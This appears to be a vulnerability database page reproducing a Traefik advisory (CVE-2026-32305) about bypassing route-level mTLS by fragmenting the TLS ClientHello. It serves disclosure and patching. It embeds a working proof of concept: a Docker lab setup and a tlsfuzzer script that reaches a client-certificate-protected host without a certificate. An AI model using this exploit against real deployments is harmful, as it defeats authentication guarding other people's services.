GHSA-wvvq-wgcr-9q48 CVE-2026-32305 GO-2026-4793
Traefik has a Potential mTLS Bypass via Fragmented TLS ClientHello Causing Pre-SNI Sniff Fallback to Default Non-mTLS TLS Config
- Severity
- 0.0 / 10
- Medium · CVSS 4.0
- Exploit chance (EPSS)
- 0.42%
- Chance of exploitation in the next 30 days. Higher than 36.38% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-287 Improper Authentication
- Fix
- Available
- 2 packages have a fixed version
Description
Summary
There is a potential vulnerability in Traefik's TLS SNI pre-sniffing logic related to fragmented ClientHello packets.
When a TLS ClientHello is fragmented across multiple records, Traefik's SNI extraction may fail with an EOF and return an empty SNI. The TCP router then falls back to the default TLS configuration, which does not require client certificates by default. This allows an attacker to bypass route-level mTLS enforcement and access services that should require mutual TLS authentication.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.41
- https://github.com/traefik/traefik/releases/tag/v3.6.11
- https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
I found a behavior in Traefik's latest version where fragmented ClientHello packets can cause pre-sniff SNI extraction to not find the sni (EOF during sniff), which makes the TCP router fall back to default routing TLS config.
If the default TLS config does not require client certificates (which is NoClientCert by default), the handshake succeeds without client auth, and the request is later routed to the HTTP Host which should be the protected with client certificate authentication (RequireAndVerifyClientCert tls config).
Details
The vulnerability is caused by a mismatch between where Traefik decides the TLS policy per host and where Go TLS can finally parse the full ClientHello.
- In router.go, ServeTCP function calls clientHelloInfo.
- clientHelloInfo peeks only one TLS record length (recLen) and then peeks exactly 5 + recLen bytes. It runs a temporary TLS parse on those bytes to extract the SNI. If ClientHello is fragmented, pre-sniff may return empty SNI (With fragmentation, first record can be incomplete for full ClientHello parsing).
- clientHelloInfo still returns isTLS=true and empty SNI (it thinks there is no sni so it applies the default tls config (Which is by default NoClientCert which is permissive)
- Real Go TLS handshake succeeds later without requiring the client cert.
- Request is routed to the host that should have been protected.
Conditions required for impact:
- Route-level TLS options enforce mTLS for a host.
- Default TLS config is weaker (noClientCert, which is the default default).
- Pre-sniff fails to extract SNI (due to fragmented ClientHello).
A workaround for this is to set the default tls config to RequireAndVerifyClientCert (but then you need to explicitly define for each permissive host the NoClientCert TLS config).
A suggestion to fix is to parse the complete ClientHello before tls config decision (handle multi-record fragmentation).
PoC
# prerequisites (ubuntu/debian, in rhel/fedora you need to run only the install command (dnf) but with "docker" instead of docker.io and podman will emulate it)
sudo apt update
sudo apt install -y docker.io openssl git python3 python3-venv
sudo usermod -aG docker "$USER"
# in debian/ubuntu run newgrp docker to apply the new group to the user
mkdir -p /tmp/traefik-frag-poc/{certs,config/dynamic}
cd /tmp/traefik-frag-poc
# CA
openssl genrsa -out certs/ca.key 4096
openssl req -x509 -new -nodes -key certs/ca.key -sha256 -days 3650 \
-subj "/CN=PoC-CA" -out certs/ca.crt
# Server cert (whoami.home.arpa)
cat > certs/server.cnf <<'EOF_SERVER_CNF'
[req]
distinguished_name = dn
req_extensions = v3_req
prompt = no
[dn]
CN = whoami.home.arpa
[v3_req]
subjectAltName = @alt_names
[alt_names]
DNS.1 = whoami.home.arpa
EOF_SERVER_CNF
openssl genrsa -out certs/traefik.key 2048
openssl req -new -key certs/traefik.key -out certs/traefik.csr -config certs/server.cnf
openssl x509 -req -in certs/traefik.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \
-out certs/traefik.crt -days 365 -sha256 -extensions v3_req -extfile certs/server.cnf
# Client cert (valid client)
openssl genrsa -out certs/client.key 2048
openssl req -new -key certs/client.key -subj "/CN=client1" -out certs/client.csr
openssl x509 -req -in certs/client.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \
-out certs/client.crt -days 365 -sha256
cat > config/traefik.yml <<'EOF_TRAEFIK_CFG'
entryPoints:
websecure:
address: ":8443"
providers:
file:
directory: /etc/traefik/dynamic
watch: true
log:
level: DEBUG
EOF_TRAEFIK_CFG
cat > config/dynamic/dynamic.yml <<'EOF_DYNAMIC_CFG'
http:
routers:
whoami:
rule: "Host(`whoami.home.arpa`)"
entryPoints:
- websecure
service: whoami
tls:
options: mtls
services:
whoami:
loadBalancer:
servers:
- url: "http://whoami:80"
tls:
certificates:
- certFile: /certs/traefik.crt
keyFile: /certs/traefik.key
options:
mtls:
clientAuth:
caFiles:
- /certs/ca.crt
clientAuthType: RequireAndVerifyClientCert
EOF_DYNAMIC_CFG
docker network create traefik-poc
# run a whoami microservice for the bypass demonstration
docker run -d \
--name whoami \
--network traefik-poc \
--restart unless-stopped \
traefik/whoami:v1.11.0
docker run -d \
--name traefik \
--network traefik-poc \
-p 8443:8443 \
--restart unless-stopped \
-v "$PWD/config/traefik.yml:/etc/traefik/traefik.yml:ro,Z" \
-v "$PWD/config/dynamic:/etc/traefik/dynamic:ro,Z" \
-v "$PWD/certs:/certs:ro,Z" \
traefik:3.6.10 \
--configFile=/etc/traefik/traefik.yml
# watch traefik logs to ensure everything was deployed correctly
docker logs traefik
# tlsfuzzer setup + frag client script
mkdir -p /tmp/testtlsfuzz
cd /tmp/testtlsfuzz
git clone https://github.com/tlsfuzzer/tlsfuzzer.git
cd tlsfuzzer
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
cat > frag_clienthello.py <<'EOF_FRAG_SCRIPT'
import argparse
import sys
import os
from tlsfuzzer.runner import Runner
from tlsfuzzer.messages import (
Connect,
SetMaxRecordSize,
ClientHelloGenerator,
CertificateGenerator,
CertificateVerifyGenerator,
ClientKeyExchangeGenerator,
ChangeCipherSpecGenerator,
FinishedGenerator,
ApplicationDataGenerator,
AlertGenerator,
)
from tlsfuzzer.expect import (
ExpectServerHello,
ExpectCertificate,
ExpectServerKeyExchange,
ExpectCertificateRequest,
ExpectServerHelloDone,
ExpectChangeCipherSpec,
ExpectFinished,
ExpectApplicationData,
ExpectAlert,
ExpectClose,
)
from tlsfuzzer.helpers import SIG_ALL
from tlslite.constants import (
CipherSuite,
ExtensionType,
AlertLevel,
AlertDescription,
GroupName,
)
from tlslite.extensions import (
SNIExtension,
TLSExtension,
SupportedGroupsExtension,
SignatureAlgorithmsExtension,
SignatureAlgorithmsCertExtension,
)
from tlslite.utils.keyfactory import parsePEMKey
from tlslite.x509 import X509
from tlslite.x509certchain import X509CertChain
class PrettyExpectApplicationData(ExpectApplicationData):
def process(self, state, msg):
super().process(state, msg)
text = msg.write().decode("utf-8", errors="replace")
head, _, body = text.partition("\r\n\r\n")
print("\n=== HTTP RESPONSE ===")
print(head)
print()
print(body)
print("=== END HTTP RESPONSE ===\n")
def load_client_cert_and_key(cert_path, key_path):
cert = None
key = None
if cert_path:
text_cert = open(cert_path, "rb").read()
if sys.version_info[0] >= 3:
text_cert = str(text_cert, "utf-8")
cert = X509()
cert.parse(text_cert)
if key_path:
text_key = open(key_path, "rb").read()
if sys.version_info[0] >= 3:
text_key = str(text_key, "utf-8")
key = parsePEMKey(text_key, private=True)
return cert, key
def main():
p = argparse.ArgumentParser()
p.add_argument("--connect-host", default="127.0.0.1")
p.add_argument("--port", type=int, default=8443)
p.add_argument("--sni", default="whoami.home.arpa")
p.add_argument("--record-size", type=int, default=512)
p.add_argument("--padding-len", type=int, default=1200)
p.add_argument("--expect-cert-request", action="store_true")
p.add_argument("--client-cert-pem", default="")
p.add_argument("--client-key-pem", default="")
args = p.parse_args()
cert, key = load_client_cert_and_key(args.client_cert_pem, args.client_key_pem)
print(f"[DBG] cert_arg={args.client_cert_pem!r} key_arg={args.client_key_pem!r}")
for p in [args.client_cert_pem, args.client_key_pem]:
if p:
print(f"[DBG] file={p} exists={os.path.exists(p)} size={os.path.getsize(p) if os.path.exists(p) else -1}")
print(f"[DBG] cert_loaded={cert is not None} key_loaded={key is not None}")
print(f"[DBG] bool(cert)={bool(cert) if cert is not None else None} bool(key)={bool(key) if key is not None else None}")
if (args.client_cert_pem or args.client_key_pem) and not (cert and key):
raise ValueError("Provide both --client-cert-pem and --client-key-pem")
conv = Connect(args.connect_host, args.port)
node = conv
node = node.add_child(SetMaxRecordSize(args.record_size))
ext = {
ExtensionType.server_name: SNIExtension().create(bytearray(args.sni, "ascii")),
ExtensionType.supported_groups: SupportedGroupsExtension().create(
[GroupName.secp256r1, GroupName.ffdhe2048]
),
ExtensionType.signature_algorithms: SignatureAlgorithmsExtension().create(SIG_ALL),
ExtensionType.signature_algorithms_cert: SignatureAlgorithmsCertExtension().create(SIG_ALL),
21: TLSExtension().create(21, bytearray(args.padding_len)),
}
ciphers = [
CipherSuite.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,
CipherSuite.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA,
CipherSuite.TLS_DHE_RSA_WITH_AES_128_CBC_SHA,
CipherSuite.TLS_EMPTY_RENEGOTIATION_INFO_SCSV,
]
node = node.add_child(ClientHelloGenerator(ciphers, extensions=ext))
node = node.add_child(ExpectServerHello())
node = node.add_child(ExpectCertificate())
node = node.add_child(ExpectServerKeyExchange())
if args.expect_cert_request:
node = node.add_child(ExpectCertificateRequest())
node = node.add_child(ExpectServerHelloDone())
if args.expect_cert_request and cert and key:
node = node.add_child(CertificateGenerator(X509CertChain([cert])))
node = node.add_child(ClientKeyExchangeGenerator())
node = node.add_child(CertificateVerifyGenerator(key))
node = node.add_child(ChangeCipherSpecGenerator())
node = node.add_child(FinishedGenerator())
node = node.add_child(ExpectChangeCipherSpec())
node = node.add_child(ExpectFinished())
req = bytearray(
f"GET / HTTP/1.1\r\nHost: {args.sni}\r\nConnection: close\r\n\r\n".encode("ascii")
)
node = node.add_child(ApplicationDataGenerator(req))
node = node.add_child(PrettyExpectApplicationData(output=sys.stdout))
node = node.add_child(AlertGenerator(AlertLevel.warning, AlertDescription.close_notify))
node = node.add_child(ExpectAlert())
node.next_sibling = ExpectClose()
elif args.expect_cert_request and not (cert and key):
node = node.add_child(CertificateGenerator())
node = node.add_child(ClientKeyExchangeGenerator())
node = node.add_child(ChangeCipherSpecGenerator())
node = node.add_child(FinishedGenerator())
node = node.add_child(ExpectChangeCipherSpec())
node = node.add_child(ExpectFinished())
else:
node = node.add_child(ClientKeyExchangeGenerator())
node = node.add_child(ChangeCipherSpecGenerator())
node = node.add_child(FinishedGenerator())
node = node.add_child(ExpectChangeCipherSpec())
node = node.add_child(ExpectFinished())
req = bytearray(
f"GET / HTTP/1.1\r\nHost: {args.sni}\r\nConnection: close\r\n\r\n".encode("ascii")
)
node = node.add_child(ApplicationDataGenerator(req))
node = node.add_child(PrettyExpectApplicationData(output=sys.stdout))
node = node.add_child(AlertGenerator(AlertLevel.warning, AlertDescription.close_notify))
node = node.add_child(ExpectAlert())
node.next_sibling = ExpectClose()
try:
Runner(conv).run()
print("[OK] conversation completed")
except AssertionError as e:
print(f"[TLS RAW ERROR] {e}")
marker = "Unexpected message from peer: "
s = str(e)
if marker in s:
print(f"[TLS PEER MESSAGE] {s.split(marker, 1)[1].strip()}")
raise
if __name__ == "__main__":
main()
EOF_FRAG_SCRIPT
chmod +x frag_clienthello.py
cd /tmp/testtlsfuzz/tlsfuzzer
source .venv/bin/activate
# case 1: non fragmented, no client cert (strict mTLS path, should fail. traefik logs should inform that client didn't provide a certificate)
python frag_clienthello.py \
--connect-host 127.0.0.1 \
--port 8443 \
--sni whoami.home.arpa \
--record-size 16384 \
--expect-cert-request
# case 1b with openssl instead of my script
printf 'GET / HTTP/1.1\r\nHost: whoami.home.arpa\r\nConnection: close\r\n\r\n' | \
openssl s_client \
-connect 127.0.0.1:8443 \
-servername whoami.home.arpa \
-tls1_2 \
-CAfile /tmp/traefik-frag-poc/certs/ca.crt \
-state -msg -tlsextdebug -verify_return_error
# case 2: non fragmented, with valid client cert (should succeed)
python frag_clienthello.py \
--connect-host 127.0.0.1 \
--port 8443 \
--sni whoami.home.arpa \
--record-size 16384 \
--expect-cert-request \
--client-cert-pem /tmp/traefik-frag-poc/certs/client.crt \
--client-key-pem /tmp/traefik-frag-poc/certs/client.key
# case 2b with openssl instead of my script
printf 'GET / HTTP/1.1\r\nHost: whoami.home.arpa\r\nConnection: close\r\n\r\n' | \
openssl s_client -connect 127.0.0.1:8443 -servername whoami.home.arpa -tls1_2 \
-cert /tmp/traefik-frag-poc/certs/client.crt \
-key /tmp/traefik-frag-poc/certs/client.key \
-CAfile /tmp/traefik-frag-poc/certs/ca.crt -quiet
# case 3 fragmented ClientHello, no client cert (bypass behavior test)
python frag_clienthello.py \
--connect-host 127.0.0.1 \
--port 8443 \
--sni whoami.home.arpa \
--record-size 500
# in the record-size you can play with it as long as the client hello sni sniff function returns an EOF
Impact
An attacker can bypass route-level mTLS enforcement by fragmenting ClientHello so Traefik pre-sniff fails (EOF) and falls back to default permissive TLS config.
</details>
--
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/traefik/traefik | <= 1.7.34 |
No fix yet |
| github.com/traefik/traefik | all versions |
No fix yet |
| github.com/traefik/traefik/v2 | < 2.11.41 |
2.11.41 |
| github.com/traefik/traefik/v3 | >= 3.7.0-ea.1, < 3.7.0-ea.2 |
3.7.0-ea.2 |
| github.com/traefik/traefik/v3 | < 3.6.11 |
3.6.11 |
| github.com/traefik/traefik/v3 | < 3.6.11>= 3.7.0-ea.1, < 3.7.0-ea.2 |
3.6.113.7.0-ea.2 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/traefik/traefik/v2 Go → 2.11.41
- go
go get github.com/traefik/traefik/v2@v2.11.41 && go mod tidy
github.com/traefik/traefik/v3 Go → 3.7.0-ea.2
- go
go get github.com/traefik/traefik/v3@v3.7.0-ea.2 && go mod tidy
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- High
- Integrity (subsequent systems)
- High
- Availability (subsequent systems)
- None
CVSS 3.1 5.3
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
Weakness
CWE-287: Improper Authentication
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
How to prevent it
- Architecture and Design: Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
References
Advisories
Packages
Other links
- github.com/traefik/traefik/security/advisories/GHSA-wvvq-wgcr-9q48
- github.com/traefik/traefik/releases/tag/v2.11.41
- github.com/traefik/traefik/releases/tag/v3.6.11
- github.com/traefik/traefik/releases/tag/v3.7.0-ea.2
- access.redhat.com/errata/RHSA-2026:10175
- access.redhat.com/errata/RHSA-2026:21772
- access.redhat.com/security/cve/CVE-2026-32305
- bugzilla.redhat.com/show_bug.cgi
- security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-32305.json
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GO-2026-6558 Traefik: BasicAuth singleflight coalescing reintroduces an unauthenticated username-enumeration timing oracle | Medium | Also affects github.com/traefik/traefik |
| GHSA-f52w-8j3h-j724 Traefik: Rootless HTTP/1 request-target routes as "/" but is forwarded verbatim, bypassing path-scoped routing, middleware guards and access logging | High | Also affects github.com/traefik/traefik |
| GHSA-w4v4-9rw7-5326 Traefik: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') and Incorrect Authorization | Critical | Also affects github.com/traefik/traefik |
| GHSA-qqjf-53cj-pwvv Traefik HTTP/3 Backend NTLM Connection Reuse | Critical | Also affects github.com/traefik/traefik |
| GO-2026-6467 Traefik entrypoint header-name sanitization bypassed via request trailers | High | Also affects github.com/traefik/traefik |
| GHSA-rf44-j88r-hh8c Traefik: ForwardAuth identity spoofing via dot-form header alias | High | Also affects github.com/traefik/traefik |
| GHSA-7ghq-v6jf-g56c Traefik: respondingTimeouts.readTimeout is not applied to HTTP/3, leaving slow-body uploads unbounded | Medium | Also affects github.com/traefik/traefik |
| GHSA-62fc-8686-hfmq Traefik: `allowCrossNamespace=false` bypass via `@kubernetescrd` TraefikService backendRef | Medium | Also affects github.com/traefik/traefik |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor